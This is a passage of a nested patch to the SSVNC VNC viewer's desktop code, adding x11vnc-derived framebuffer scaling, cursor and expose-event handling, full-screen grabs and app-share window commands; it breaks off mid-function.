-+ }
-+ }
-+
-+ if (appData.useXserverBackingStore) {
-+ XtVaGetApplicationResources(desktop, (XtPointer)&attr.backing_store,
-+ desktopBackingStoreResources, 1, NULL);
-+ valuemask |= CWBackingStore;
-+ } else {
-+ attr.background_pixel = BlackPixel(dpy, DefaultScreen(dpy));
-+ valuemask |= CWBackPixel;
-+ }
-+
-+ Xcursors(0);
-+ if (!appData.useX11Cursor) {
-+ if (appData.viewOnly) {
-+ attr.cursor = dotCursor4;
-+ } else {
-+ attr.cursor = dotCursor3;
-+ }
-+ valuemask |= CWCursor;
-+ }
-+ bogoCursor = XCreateFontCursor(dpy, XC_bogosity);
-+ waitCursor = XCreateFontCursor(dpy, XC_watch);
-+
-+ XChangeWindowAttributes(dpy, desktopWin, valuemask, &attr);
-+
-+ if (XGetWindowAttributes(dpy, desktopWin, &gattr)) {
-+#if 0
-+ fprintf(stderr, "desktopWin backingstore: %d save_under: %d\n", gattr.backing_store, gattr.save_under);
-+#endif
-+ }
-+ fprintf(stderr, "\n");
-+}
-+
-+extern void FreeX11Cursor(void);
-+extern void FreeSoftCursor(void);
-
-- XChangeWindowAttributes(dpy, desktopWin, valuemask, &attr);
-+void
-+DesktopCursorOff()
-+{
-+ if (dotCursor3 == None) {
-+ dotCursor3 = CreateDotCursor(3);
-+ dotCursor4 = CreateDotCursor(4);
-+ }
-+ if (appData.viewOnly) {
-+ XDefineCursor(dpy, desktopWin, dotCursor4);
-+ } else {
-+ XDefineCursor(dpy, desktopWin, dotCursor3);
-+ }
-+ FreeX11Cursor();
-+ FreeSoftCursor();
-+}
-+
-+
-+#define CEIL(x) ( (double) ((int) (x)) == (x) ? \
-+ (double) ((int) (x)) : (double) ((int) (x) + 1) )
-+#define FLOOR(x) ( (double) ((int) (x)) )
-+
-+#if 0
-+static int nfix(int i, int n) {
-+ if (i < 0) {
-+ i = 0;
-+ } else if (i >= n) {
-+ i = n - 1;
-+ }
-+ return i;
- }
-+#else
-+#define nfix(i, n) ( i < 0 ? 0 : ( (i >= n) ? (n - 1) : i ) )
-+#endif
-+
-+int scale_round(int len, double fac) {
-+ double eps = 0.000001;
-+
-+ len = (int) (len * fac + eps);
-+ if (len < 1) {
-+ len = 1;
-+ }
-+ return len;
-+}
-+
-+static void scale_rect(double factor_x, double factor_y, int blend, int interpolate,
-+ int *px, int *py, int *pw, int *ph, int solid) {
-+
-+ int i, j, i1, i2, j1, j2; /* indices for scaled fb (dest) */
-+ int I, J, I1, I2, J1, J2; /* indices for main fb (source) */
-+
-+ double w, wx, wy, wtot; /* pixel weights */
-+
-+ double x1 = 0, y1, x2 = 0, y2; /* x-y coords for destination pixels edges */
-+ double dx, dy; /* size of destination pixel */
-+ double ddx=0, ddy=0; /* for interpolation expansion */
-+
-+ char *src, *dest; /* pointers to the two framebuffers */
-+
-+ unsigned short us = 0;
-+ unsigned char uc = 0;
-+ unsigned int ui = 0;
-+
-+ int use_noblend_shortcut = 1;
-+ int shrink; /* whether shrinking or expanding */
-+ static int constant_weights = -1, mag_int = -1;
-+ static int last_Nx = -1, last_Ny = -1, cnt = 0;
-+ static double last_factor = -1.0;
-+ int b, k;
-+ double pixave[4]; /* for averaging pixel values */
-+
-+ /* internal */
-+
-+ int X1, X2, Y1, Y2;
-
-+ int Nx = si.framebufferWidth;
-+ int Ny = si.framebufferHeight;
-+
-+ int nx = scale_round(Nx, factor_x);
-+ int ny = scale_round(Ny, factor_y);
-+
-+ int Bpp = image->bits_per_pixel / 8;
-+ int dst_bytes_per_line = image->bytes_per_line;
-+ int src_bytes_per_line = image_scale->bytes_per_line;
-+
-+ unsigned long main_red_mask = image->red_mask;
-+ unsigned long main_green_mask = image->green_mask;
-+ unsigned long main_blue_mask = image->blue_mask;
-+ int mark = 1;
-+
-+ char *src_fb = image_scale->data;
-+ char *dst_fb = image->data;
-+
-+ static int nosolid = -1;
-+ int sbdy = 3;
-+ double fmax = factor_x > factor_y ? factor_x : factor_y;
-+#if 0
-+ double fmin = factor_x < factor_y ? factor_x : factor_y;
-+#endif
-+
-+ X1 = *px;
-+ X2 = *px + *pw;
-+ Y1 = *py;
-+ Y2 = *py + *ph;
-+
-+ if (fmax > 1.0) {
-+ /* try to avoid problems with bleeding... */
-+ sbdy = (int) (2.0 * fmax * sbdy);
-+ }
-+
-+ /* fprintf(stderr, "scale_rect: %dx%d+%d+%d\n", *pw, *ph, *px, *py); */
-+
-+ *px = (int) (*px * factor_x);
-+ *py = (int) (*py * factor_y);
-+ *pw = scale_round(*pw, factor_x);
-+ *ph = scale_round(*ph, factor_y);
-+
-+ if (nosolid < 0) {
-+ if (getenv("SSVNC_NOSOLID")) {
-+ nosolid = 1;
-+ } else {
-+ nosolid = 0;
-+ }
-+ }
-+ if (nosolid) solid = 0;
-+
-+#define rfbLog printf
-+/* Begin taken from x11vnc scale: */
-+
-+ if (factor_x <= 1.0 || factor_y <= 1.0) {
-+ shrink = 1;
-+ } else {
-+ shrink = 0;
-+ interpolate = 1;
-+ }
-+
-+ /*
-+ * N.B. width and height (real numbers) of a scaled pixel.
-+ * both are > 1 (e.g. 1.333 for -scale 3/4)
-+ * they should also be equal but we don't assume it.
-+ *
-+ * This new way is probably the best we can do, take the inverse
-+ * of the scaling factor to double precision.
-+ */
-+ dx = 1.0/factor_x;
-+ dy = 1.0/factor_y;
-+
-+ /*
-+ * There is some speedup if the pixel weights are constant, so
-+ * let's special case these.
-+ *
-+ * If scale = 1/n and n divides Nx and Ny, the pixel weights
-+ * are constant (e.g. 1/2 => equal on 2x2 square).
-+ */
-+ if (factor_x != last_factor || Nx != last_Nx || Ny != last_Ny) {
-+ constant_weights = -1;
-+ mag_int = -1;
-+ last_Nx = Nx;
-+ last_Ny = Ny;
-+ last_factor = factor_x;
-+ }
-+
-+ if (constant_weights < 0 && factor_x != factor_y) {
-+ constant_weights = 0;
-+ mag_int = 0;
-+ } else if (constant_weights < 0) {
-+ int n = 0;
-+ double factor = factor_x;
-+
-+ constant_weights = 0;
-+ mag_int = 0;
-+
-+ for (i = 2; i<=128; i++) {
-+ double test = ((double) 1)/ i;
-+ double diff, eps = 1.0e-7;
-+ diff = factor - test;
-+ if (-eps < diff && diff < eps) {
-+ n = i;
-+ break;
-+ }
-+ }
-+ if (! blend || ! shrink || interpolate) {
-+ ;
-+ } else if (n != 0) {
-+ if (Nx % n == 0 && Ny % n == 0) {
-+ static int didmsg = 0;
-+ if (mark && ! didmsg) {
-+ didmsg = 1;
-+ rfbLog("scale_and_mark_rect: using "
-+ "constant pixel weight speedup "
-+ "for 1/%d\n", n);
-+ }
-+ constant_weights = 1;
-+ }
-+ }
-+
-+ n = 0;
-+ for (i = 2; i<=32; i++) {
-+ double test = (double) i;
-+ double diff, eps = 1.0e-7;
-+ diff = factor - test;
-+ if (-eps < diff && diff < eps) {
-+ n = i;
-+ break;
-+ }
-+ }
-+ if (! blend && factor > 1.0 && n) {
-+ mag_int = n;
-+ }
-+ }
-+if (0) fprintf(stderr, "X1: %d Y1: %d X2: %d Y2: %d\n", X1, Y1, X2, Y2);
-+
-+ if (mark && !shrink && blend) {
-+ /*
-+ * kludge: correct for interpolating blurring leaking
-+ * up or left 1 destination pixel.
-+ */
-+ if (X1 > 0) X1--;
-+ if (Y1 > 0) Y1--;
-+ }
-+
-+ /*
-+ * find the extent of the change the input rectangle induces in
-+ * the scaled framebuffer.
-+ */
-+
-+ /* Left edges: find largest i such that i * dx <= X1 */
-+ i1 = FLOOR(X1/dx);
-+
-+ /* Right edges: find smallest i such that (i+1) * dx >= X2+1 */
-+ i2 = CEIL( (X2+1)/dx ) - 1;
-+
-+ /* To be safe, correct any overflows: */
-+ i1 = nfix(i1, nx);
-+ i2 = nfix(i2, nx) + 1; /* add 1 to make a rectangle upper boundary */
-+
-+ /* Repeat above for y direction: */
-+ j1 = FLOOR(Y1/dy);
-+ j2 = CEIL( (Y2+1)/dy ) - 1;
-+
-+ j1 = nfix(j1, ny);
-+ j2 = nfix(j2, ny) + 1;
-+
-+ /*
-+ * special case integer magnification with no blending.
-+ * vision impaired magnification usage is interested in this case.
-+ */
-+ if (mark && ! blend && mag_int && Bpp != 3) {
-+ int jmin, jmax, imin, imax;
-+
-+ /* outer loop over *source* pixels */
-+ for (J=Y1; J < Y2; J++) {
-+ jmin = J * mag_int;
-+ jmax = jmin + mag_int;
-+ for (I=X1; I < X2; I++) {
-+ /* extract value */
-+ src = src_fb + J*src_bytes_per_line + I*Bpp;
-+ if (Bpp == 4) {
-+ ui = *((unsigned int *)src);
-+ } else if (Bpp == 2) {
-+ us = *((unsigned short *)src);
-+ } else if (Bpp == 1) {
-+ uc = *((unsigned char *)src);
-+ }
-+ imin = I * mag_int;
-+ imax = imin + mag_int;
-+ /* inner loop over *dest* pixels */
-+ for (j=jmin; j<jmax; j++) {
-+ dest = dst_fb + j*dst_bytes_per_line + imin*Bpp;
-+ for (i=imin; i<imax; i++) {
-+ if (Bpp == 4) {
-+ *((unsigned int *)dest) = ui;
-+ } else if (Bpp == 2) {
-+ *((unsigned short *)dest) = us;
-+ } else if (Bpp == 1) {
-+ *((unsigned char *)dest) = uc;
-+ }
-+ dest += Bpp;
-+ }
-+ }
-+ }
-+ }
-+ goto markit;
-+ }
-+
-+ /* set these all to 1.0 to begin with */
-+ wx = 1.0;
-+ wy = 1.0;
-+ w = 1.0;
-+
-+ /*
-+ * Loop over destination pixels in scaled fb:
-+ */
-+ for (j=j1; j<j2; j++) {
-+ int jbdy = 1, I1_solid = 0;
-+
-+ y1 = j * dy; /* top edge */
-+ if (y1 > Ny - 1) {
-+ /* can go over with dy = 1/scale_fac */
-+ y1 = Ny - 1;
-+ }
-+ y2 = y1 + dy; /* bottom edge */
-+
-+ /* Find main fb indices covered by this dest pixel: */
-+ J1 = (int) FLOOR(y1);
-+ J1 = nfix(J1, Ny);
-+
-+ if (shrink && ! interpolate) {
-+ J2 = (int) CEIL(y2) - 1;
-+ J2 = nfix(J2, Ny);
-+ } else {
-+ J2 = J1 + 1; /* simple interpolation */
-+ ddy = y1 - J1;
-+ }
-+
-+ /* destination char* pointer: */
-+ dest = dst_fb + j*dst_bytes_per_line + i1*Bpp;
-+
-+ if (solid) {
-+ if (j1+sbdy <= j && j < j2-sbdy) {
-+ jbdy = 0;
-+ x1 = (i1+sbdy) * dx;
-+ if (x1 > Nx - 1) {
-+ x1 = Nx - 1;
-+ }
-+ I1_solid = (int) FLOOR(x1);
-+ if (I1_solid >= Nx) I1_solid = Nx - 1;
-+ }
-+ }
-+
-+ for (i=i1; i<i2; i++) {
-+ int solid_skip = 0;
-+
-+ if (solid) {
-+ /* if the region is solid, we can use the noblend speedup */
-+ if (!jbdy && i1+sbdy <= i && i < i2-sbdy) {
-+ solid_skip = 1;
-+ /* pixels all the same so use X1: */
-+ I1 = I1_solid;
-+ goto jsolid;
-+ }
-+ }
-+
-+ x1 = i * dx; /* left edge */
-+ if (x1 > Nx - 1) {
-+ /* can go over with dx = 1/scale_fac */
-+ x1 = Nx - 1;
-+ }
-+ x2 = x1 + dx; /* right edge */
-+
-+ /* Find main fb indices covered by this dest pixel: */
-+ I1 = (int) FLOOR(x1);
-+ if (I1 >= Nx) I1 = Nx - 1;
-+
-+ jsolid:
-+ cnt++;
-+
-+ if ((!blend && use_noblend_shortcut) || solid_skip) {
-+ /*
-+ * The noblend case involves no weights,
-+ * and 1 pixel, so just copy the value
-+ * directly.
-+ */
-+ src = src_fb + J1*src_bytes_per_line + I1*Bpp;
-+ if (Bpp == 4) {
-+ *((unsigned int *)dest)
-+ = *((unsigned int *)src);
-+ } else if (Bpp == 2) {
-+ *((unsigned short *)dest)
-+ = *((unsigned short *)src);
-+ } else if (Bpp == 1) {
-+ *(dest) = *(src);
-+ } else if (Bpp == 3) {
-+ /* rare case */
-+ for (k=0; k<=2; k++) {
-+ *(dest+k) = *(src+k);
-+ }
-+ }
-+ dest += Bpp;
-+ continue;
-+ }
-+
-+ if (shrink && ! interpolate) {
-+ I2 = (int) CEIL(x2) - 1;
-+ if (I2 >= Nx) I2 = Nx - 1;
-+ } else {
-+ I2 = I1 + 1; /* simple interpolation */
-+ ddx = x1 - I1;
-+ }
-+#if 0
-+if (first) fprintf(stderr, " I1=%d I2=%d J1=%d J2=%d\n", I1, I2, J1, J2);
-+#endif
-+
-+ /* Zero out accumulators for next pixel average: */
-+ for (b=0; b<4; b++) {
-+ pixave[b] = 0.0; /* for RGB weighted sums */
-+ }
-+
-+ /*
-+ * wtot is for accumulating the total weight.
-+ * It should always sum to 1/(scale_fac * scale_fac).
-+ */
-+ wtot = 0.0;
-+
-+ /*
-+ * Loop over source pixels covered by this dest pixel.
-+ *
-+ * These "extra" loops over "J" and "I" make
-+ * the cache/cacheline performance unclear.
-+ * For example, will the data brought in from
-+ * src for j, i, and J=0 still be in the cache
-+ * after the J > 0 data have been accessed and
-+ * we are at j, i+1, J=0? The stride in J is
-+ * main_bytes_per_line, and so ~4 KB.
-+ *
-+ * Typical case when shrinking are 2x2 loop, so
-+ * just two lines to worry about.
-+ */
-+ for (J=J1; J<=J2; J++) {
-+ /* see comments for I, x1, x2, etc. below */
-+ if (constant_weights) {
-+ ;
-+ } else if (! blend) {
-+ if (J != J1) {
-+ continue;
-+ }
-+ wy = 1.0;
-+
-+ /* interpolation scheme: */
-+ } else if (! shrink || interpolate) {
-+ if (J >= Ny) {
-+ continue;
-+ } else if (J == J1) {
-+ wy = 1.0 - ddy;
-+ } else if (J != J1) {
-+ wy = ddy;
-+ }
-+
-+ /* integration scheme: */
-+ } else if (J < y1) {
-+ wy = J+1 - y1;
-+ } else if (J+1 > y2) {
-+ wy = y2 - J;
-+ } else {
-+ wy = 1.0;
-+ }
-+
-+ src = src_fb + J*src_bytes_per_line + I1*Bpp;
-+
-+ for (I=I1; I<=I2; I++) {
-+
-+ /* Work out the weight: */
-+
-+ if (constant_weights) {
-+ ;
-+ } else if (! blend) {
-+ /*
-+ * Ugh, PseudoColor colormap is
-+ * bad news, to avoid random
-+ * colors just take the first
-+ * pixel. Or user may have
-+ * specified :nb to fraction.
-+ * The :fb will force blending
-+ * for this case.
-+ */
-+ if (I != I1) {
-+ continue;
-+ }
-+ wx = 1.0;
-+
-+ /* interpolation scheme: */
-+ } else if (! shrink || interpolate) {
-+ if (I >= Nx) {
-+ continue; /* off edge */
-+ } else if (I == I1) {
-+ wx = 1.0 - ddx;
-+ } else if (I != I1) {
-+ wx = ddx;
-+ }
-+
-+ /* integration scheme: */
-+ } else if (I < x1) {
-+ /*
-+ * source left edge (I) to the
-+ * left of dest left edge (x1):
-+ * fractional weight
-+ */
-+ wx = I+1 - x1;
-+ } else if (I+1 > x2) {
-+ /*
-+ * source right edge (I+1) to the
-+ * right of dest right edge (x2):
-+ * fractional weight
-+ */
-+ wx = x2 - I;
-+ } else {
-+ /*
-+ * source edges (I and I+1) completely
-+ * inside dest edges (x1 and x2):
-+ * full weight
-+ */
-+ wx = 1.0;
-+ }
-+
-+ w = wx * wy;
-+ wtot += w;
-+
-+ /*
-+ * We average the unsigned char value
-+ * instead of char value: otherwise
-+ * the minimum (char 0) is right next
-+ * to the maximum (char -1)! This way
-+ * they are spread between 0 and 255.
-+ */
-+ if (Bpp == 4) {
-+ /* unroll the loops, can give 20% */
-+ pixave[0] += w * ((unsigned char) *(src ));
-+ pixave[1] += w * ((unsigned char) *(src+1));
-+ pixave[2] += w * ((unsigned char) *(src+2));
-+ pixave[3] += w * ((unsigned char) *(src+3));
-+ } else if (Bpp == 2) {
-+ /*
-+ * 16bpp: trickier with green
-+ * split over two bytes, so we
-+ * use the masks:
-+ */
-+ us = *((unsigned short *) src);
-+ pixave[0] += w*(us & main_red_mask);
-+ pixave[1] += w*(us & main_green_mask);
-+ pixave[2] += w*(us & main_blue_mask);
-+ } else if (Bpp == 1) {
-+ pixave[0] += w *
-+ ((unsigned char) *(src));
-+ } else {
-+ for (b=0; b<Bpp; b++) {
-+ pixave[b] += w *
-+ ((unsigned char) *(src+b));
-+ }
-+ }
-+ src += Bpp;
-+ }
-+ }
-+
-+ if (wtot <= 0.0) {
-+ wtot = 1.0;
-+ }
-+ wtot = 1.0/wtot; /* normalization factor */
-+
-+ /* place weighted average pixel in the scaled fb: */
-+ if (Bpp == 4) {
-+ *(dest ) = (char) (wtot * pixave[0]);
-+ *(dest+1) = (char) (wtot * pixave[1]);
-+ *(dest+2) = (char) (wtot * pixave[2]);
-+ *(dest+3) = (char) (wtot * pixave[3]);
-+ } else if (Bpp == 2) {
-+ /* 16bpp / 565 case: */
-+ pixave[0] *= wtot;
-+ pixave[1] *= wtot;
-+ pixave[2] *= wtot;
-+ us = (main_red_mask & (int) pixave[0])
-+ | (main_green_mask & (int) pixave[1])
-+ | (main_blue_mask & (int) pixave[2]);
-+ *( (unsigned short *) dest ) = us;
-+ } else if (Bpp == 1) {
-+ *(dest) = (char) (wtot * pixave[0]);
-+ } else {
-+ for (b=0; b<Bpp; b++) {
-+ *(dest+b) = (char) (wtot * pixave[b]);
-+ }
-+ }
-+ dest += Bpp;
-+ }
-+ }
-+ markit:
-+/* End taken from x11vnc scale: */
-+ if (0) {}
-+}
-+
-+void do_scale_stats(int width, int height) {
-+ static double calls = 0.0, sum = 0.0, var = 0.0, last = 0.0;
-+ double A = width * height;
-+
-+ if (last == 0.0) {
-+ last = dnow();
-+ }
-+
-+ calls += 1.0;
-+ sum += A;
-+ var += A*A;
-+
-+ if (dnow() > last + 4.0) {
-+ double cnt = calls;
-+ if (cnt <= 0.0) cnt = 1.0;
-+ var /= cnt;
-+ sum /= cnt;
-+ var = var - sum * sum;
-+ if (sum > 0.0) {
-+ var = var / (sum*sum);
-+ }
-+ fprintf(stderr, "scale_rect stats: %10d %10.1f ave: %10.3f var-rat: %10.3f\n", (int) calls, sum * cnt, sum, var);
-+
-+ calls = 0.0;
-+ sum = 0.0;
-+ var = 0.0;
-+ last = dnow();
-+ }
-+}
-+
-+void put_image(int src_x, int src_y, int dst_x, int dst_y, int width,
-+ int height, int solid) {
-+ int db = 0;
-+ int xmax = si.framebufferWidth;
-+ int ymax = si.framebufferHeight;
-+
-+if (db || 0) fprintf(stderr, "put_image(%d %d %d %d %d %d)\n", src_x, src_y, dst_x, dst_y, width, height);
-+
-+ if (image_scale) {
-+ int i;
-+ static int scale_stats = -1;
-+
-+ for (i=0; i < 2; i++) {
-+ if (src_x > 0) src_x--;
-+ if (src_y > 0) src_y--;
-+ }
-+ for (i=0; i < 4; i++) {
-+ if (src_x + width < xmax) width++;
-+ if (src_y + height < ymax) height++;
-+ }
-+
-+ if (db) fprintf(stderr, "put_image(%d %d %d %d %d %d)\n", src_x, src_y, dst_x, dst_y, width, height);
-+ if (db) fprintf(stderr, "scale_rect(%d %d %d %d)\n", src_x, src_y, width, height);
-+
-+ if (scale_stats < 0) {
-+ if (getenv("SSVNC_SCALE_STATS")) {
-+ scale_stats = 1;
-+ } else {
-+ scale_stats = 0;
-+ }
-+ }
-+ if (scale_stats) {
-+ do_scale_stats(width, height);
-+ }
-+
-+ scale_rect(scale_factor_x, scale_factor_y, 1, 0, &src_x, &src_y, &width, &height, solid);
-+ dst_x = src_x;
-+ dst_y = src_y;
-+ }
-+
-+#ifdef MITSHM
-+ if (appData.useShm) {
-+ double fac = image_scale ? scale_factor_y : 1.0;
-+ if (image_ycrop == NULL) {
-+ if (image_is_shm) {
-+ XShmPutImage(dpy, desktopWin, gc, image, src_x, src_y,
-+ dst_x, dst_y, width, height, False);
-+ } else {
-+ XPutImage(dpy, desktopWin, gc, image, src_x, src_y,
-+ dst_x, dst_y, width, height);
-+ }
-+ } else if ((width < 32 && height < 32) || height > appData.yCrop * fac) {
-+ XPutImage(dpy, desktopWin, gc, image, src_x, src_y,
-+ dst_x, dst_y, width, height);
-+ } else {
-+ char *src, *dst;
-+ int Bpp = image->bits_per_pixel / 8;
-+ int Bpl = image->bytes_per_line, h;
-+ int Bpl2 = image_ycrop->bytes_per_line;
-+ src = image->data + src_y * Bpl + src_x * Bpp;
-+ dst = image_ycrop->data;
-+ for (h = 0; h < height; h++) {
-+ memcpy(dst, src, width * Bpp);
-+ src += Bpl;
-+ dst += Bpl2;
-+ }
-+ XShmPutImage(dpy, desktopWin, gc, image_ycrop, 0, 0,
-+ dst_x, dst_y, width, height, False);
-+ }
-+ } else
-+#endif
-+ {
-+ XPutImage(dpy, desktopWin, gc, image, src_x, src_y,
-+ dst_x, dst_y, width, height);
-+ }
-+}
-+
-+#if 0
-+fprintf(stderr, "non-shmB image %d %d %d %d %d %d\n", src_x, src_y, dst_x, dst_y, width, height);
-+fprintf(stderr, "shm image_ycrop %d %d %d %d %d %d\n", 0, 0, dst_x, dst_y, width, height);
-+fprintf(stderr, "non-shmA image %d %d %d %d %d %d\n", src_x, src_y, dst_x, dst_y, width, height);
-+#endif
-+
-+void releaseAllPressedModifiers(void) {
-+ int i;
-+ static int debug_release = -1;
-+ if (debug_release < 0) {
-+ if (getenv("SSVNC_DEBUG_RELEASE")) {
-+ debug_release = 1;
-+ } else {
-+ debug_release = 0;
-+ }
-+ }
-+ if (debug_release) fprintf(stderr, "into releaseAllPressedModifiers()\n");
-+ for (i = 0; i < 256; i++) {
-+ if (modifierPressed[i]) {
-+ SendKeyEvent(XKeycodeToKeysym(dpy, i, 0), False);
-+ modifierPressed[i] = False;
-+ if (debug_release) fprintf(stderr, "releasing[%d] %s\n", i, XKeysymToString(XKeycodeToKeysym(dpy, i, 0)));
-+ }
-+ }
-+}
-+
-+#define PR_EXPOSE fprintf(stderr, "Expose: %04dx%04d+%04d+%04d %04d/%04d/%04d now: %8.4f rescale: %8.4f fullscreen: %8.4f\n", width, height, x, y, si.framebufferWidth, appData.yCrop, si.framebufferHeight, now - start_time, now - last_rescale, now - last_fullscreen);
-
- /*
- * HandleBasicDesktopEvent - deal with expose and leave events.
-@@ -152,42 +1553,529 @@
- static void
- HandleBasicDesktopEvent(Widget w, XtPointer ptr, XEvent *ev, Boolean *cont)
- {
-- int i;
-+ int x, y, width, height;
-+ double now = dnow();
-
-- switch (ev->type) {
-+ if (w || ptr || cont) {}
-+
-+ if (0) {
-+ PR_EXPOSE;
-+ }
-
-+
-+ switch (ev->type) {
- case Expose:
- case GraphicsExpose:
- /* sometimes due to scrollbars being added/removed we get an expose outside
- the actual desktop area. Make sure we don't pass it on to the RFB
- server. */
-+ x = ev->xexpose.x;
-+ y = ev->xexpose.y;
-+ width = ev->xexpose.width;
-+ height = ev->xexpose.height;
-+
-+ if (image_scale) {
-+ int i;
-+ x /= scale_factor_x;
-+ y /= scale_factor_y;
-+ width /= scale_factor_x;
-+ height /= scale_factor_y;
-+ /* make them a little wider to avoid painting errors */
-+ for (i=0; i < 3; i++) {
-+ if (x > 0) x--;
-+ if (y > 0) y--;
-+ }
-+ for (i=0; i < 6; i++) {
-+ if (x + width < si.framebufferWidth) width++;
-+ if (y + height < si.framebufferHeight) height++;
-+ }
-+ }
-
-- if (ev->xexpose.x + ev->xexpose.width > si.framebufferWidth) {
-- ev->xexpose.width = si.framebufferWidth - ev->xexpose.x;
-- if (ev->xexpose.width <= 0) break;
-- }
--
-- if (ev->xexpose.y + ev->xexpose.height > si.framebufferHeight) {
-- ev->xexpose.height = si.framebufferHeight - ev->xexpose.y;
-- if (ev->xexpose.height <= 0) break;
-- }
--
-- SendFramebufferUpdateRequest(ev->xexpose.x, ev->xexpose.y,
-- ev->xexpose.width, ev->xexpose.height, False);
-- break;
-+ if (x + width > si.framebufferWidth) {
-+ width = si.framebufferWidth - x;
-+ if (width <= 0) {
-+ break;
-+ }
-+ }
-+
-+ if (y + height > si.framebufferHeight) {
-+ height = si.framebufferHeight - y;
-+ if (height <= 0) {
-+ break;
-+ }
-+ }
-+
-+ if (appData.useXserverBackingStore) {
-+ SendFramebufferUpdateRequest(x, y, width, height, False);
-+ } else {
-+ int ok = 1;
-+ double delay = 2.5;
-+ if (appData.fullScreen && now < last_fullscreen + delay) {
-+ int xmax = si.framebufferWidth;
-+ int ymax = si.framebufferHeight;
-+ if (appData.yCrop > 0) {
-+ ymax = appData.yCrop;
-+ }
-+ xmax = scale_round(xmax, scale_factor_x);
-+ ymax = scale_round(ymax, scale_factor_y);
-+ if (dpyWidth < xmax) {
-+ xmax = dpyWidth;
-+ }
-+ if (dpyHeight < ymax) {
-+ ymax = dpyHeight;
-+ }
-+ if (x != 0 && y != 0) {
-+ ok = 0;
-+ }
-+ if (width < 0.9 * xmax) {
-+ ok = 0;
-+ }
-+ if (height < 0.9 * ymax) {
-+ ok = 0;
-+ }
-+ }
-+ if (appData.yCrop > 0) {
-+ if (now < last_fullscreen + delay || now < last_rescale + delay) {
-+ if (y + height > appData.yCrop) {
-+ height = appData.yCrop - y;
-+ }
-+ }
-+ }
-+ if (ok) {
-+ put_image(x, y, x, y, width, height, 0);
-+ XSync(dpy, False);
-+ } else {
-+ fprintf(stderr, "Skip ");
-+ PR_EXPOSE;
-+ }
-+ }
-+ break;
-
- case LeaveNotify:
-- for (i = 0; i < 256; i++) {
-- if (modifierPressed[i]) {
-- SendKeyEvent(XKeycodeToKeysym(dpy, i, 0), False);
-- modifierPressed[i] = False;
-- }
-- }
-- break;
-+ releaseAllPressedModifiers();
-+ if (appData.fullScreen) {
-+ fs_ungrab(1);
-+ }
-+ break;
-+ case EnterNotify:
-+ if (appData.fullScreen) {
-+ fs_grab(1);
-+ }
-+ break;
-+ case ClientMessage:
-+ if (ev->xclient.window == XtWindow(desktop) && ev->xclient.message_type == XA_INTEGER &&
-+ ev->xclient.format == 8 && !strcmp(ev->xclient.data.b, "SendRFBUpdate")) {
-+ SendIncrementalFramebufferUpdateRequest();
-+ }
-+ break;
- }
-+ check_things();
-+}
-+
-+extern Position desktopX, desktopY;
-+
-+void x11vnc_appshare(char *cmd) {
-+ char send[200], str[100];
-+ char *id = "cmd=id_cmd";
-+ int m_big = 80, m_fine = 15;
-+ int resize = 100, db = 0;
-+
-+ if (getenv("X11VNC_APPSHARE_DEBUG")) {
-+ db = atoi(getenv("X11VNC_APPSHARE_DEBUG"));
-+ }
-+
-+ if (db) fprintf(stderr, "x11vnc_appshare: cmd=%s\n", cmd);
-+
-+ str[0] = '\0';
-+
-+ if (!strcmp(cmd, "left")) {
-+ sprintf(str, "%s:move:-%d+0", id, m_big);
-+ } else if (!strcmp(cmd, "right")) {
-+ sprintf(str, "%s:move:+%d+0", id, m_big);
-+ } else if (!strcmp(cmd, "up")) {
-+ sprintf(str, "%s:move:+0-%d", id, m_big);
-+ } else if (!strcmp(cmd, "down")) {
-+ sprintf(str, "%s:move:+0+%d", id, m_big);
-+ } else if (!strcmp(cmd, "left-fine")) {
-+ sprintf(str, "%s:move:-%d+0", id, m_fine);
-+ } else if (!strcmp(cmd, "right-fine")) {
-+ sprintf(str, "%s:move:+%d+0", id, m_fine);
-+ } else if (!strcmp(cmd, "up-fine")) {
-+ sprintf(str, "%s:move:+0-%d", id, m_fine);
-+ } else if (!strcmp(cmd, "down-fine")) {
-+ sprintf(str, "%s:move:+0+%d", id, m_fine);
-+ } else if (!strcmp(cmd, "taller")) {
-+ sprintf(str, "%s:resize:+0+%d", id, resize);
-+ } else if (!strcmp(cmd, "shorter")) {
-+ sprintf(str, "%s:resize:+0-%d", id, resize);
-+ } else if (!strcmp(cmd, "wider")) {
-+ sprintf(str, "%s:resize:+%d+0", id, resize);
-+ } else if (!strcmp(cmd, "narrower")) {
-+ sprintf(str, "%s:resize:-%d+0", id, resize);
-+ } else if (!strcmp(cmd, "lower")) {
-+ sprintf(str, "%s:lower", id);
-+ } else if (!strcmp(cmd, "raise")) {
-+ sprintf(str, "%s:raise", id);
-+ } else if (!strcmp(cmd, "delete")) {
-+ sprintf(str, "%s:wm_delete", id);
-+ } else if (!strcmp(cmd, "position")) {
-+ Position x, y;
-+ int xi, yi;
-+
-+ XtVaGetValues(toplevel, XtNx, &x, XtNy, &y, NULL);
-+ xi = (int) x;
-+ yi = (int) y;
-+ if (appData.scale) {
-+ double fx = 1.0, fy = 1.0;
-+ get_scale_values(&fx, &fy);
-+ if (fx > 0.0 && fy > 0.0) {
-+ xi /= fx;
-+ yi /= fx;
-+ }
-+ }
-+ sprintf(str, "%s:geom:0x0+%d+%d", id, xi, yi);
-+ fprintf(stderr, "str=%s\n", str);
-+ }
-+ if (strcmp(str, "")) {
-+ Bool vo = appData.viewOnly;
-+ strcpy(send, "X11VNC_APPSHARE_CMD:");
-+ strcat(send, str);
-+ if (db) fprintf(stderr, "x11vnc_appshare: send=%s\n", send);
-+ if (vo) appData.viewOnly = False;
-+ SendClientCutText(send, strlen(send));
-+ if (vo) appData.viewOnly = True;
-+ }
-+}
-+
-+void scroll_desktop(int horiz, int vert, double amount) {
-+ Dimension h, w;
-+ Position x, y;
-+ Position x2, y2;
-+ static int db = -1;
-+
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_ESCAPE_KEYS")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-+
-+ XtVaGetValues(form, XtNheight, &h, XtNwidth, &w, NULL);
-+ XtVaGetValues(desktop, XtNx, &x, XtNy, &y, NULL);
-+
-+ x2 = -x;
-+ y2 = -y;
-+
-+ if (amount == -1.0) {
-+ int dx = horiz;
-+ int dy = vert;
-+ if (dx == 0 && dy == 0) {
-+ return;
-+ }
-+ x2 -= dx;
-+ y2 -= dy;
-+ } else {
-+ if (horiz) {
-+ int dx = (int) (amount * w);
-+ if (dx < 0) dx = -dx;
-+ if (amount == 0.0) dx = 1;
-+ if (horiz > 0) {
-+ x2 += dx;
-+ } else {
-+ x2 -= dx;
-+ }
-+ if (x2 < 0) x2 = 0;
-+ }
-+ if (vert) {
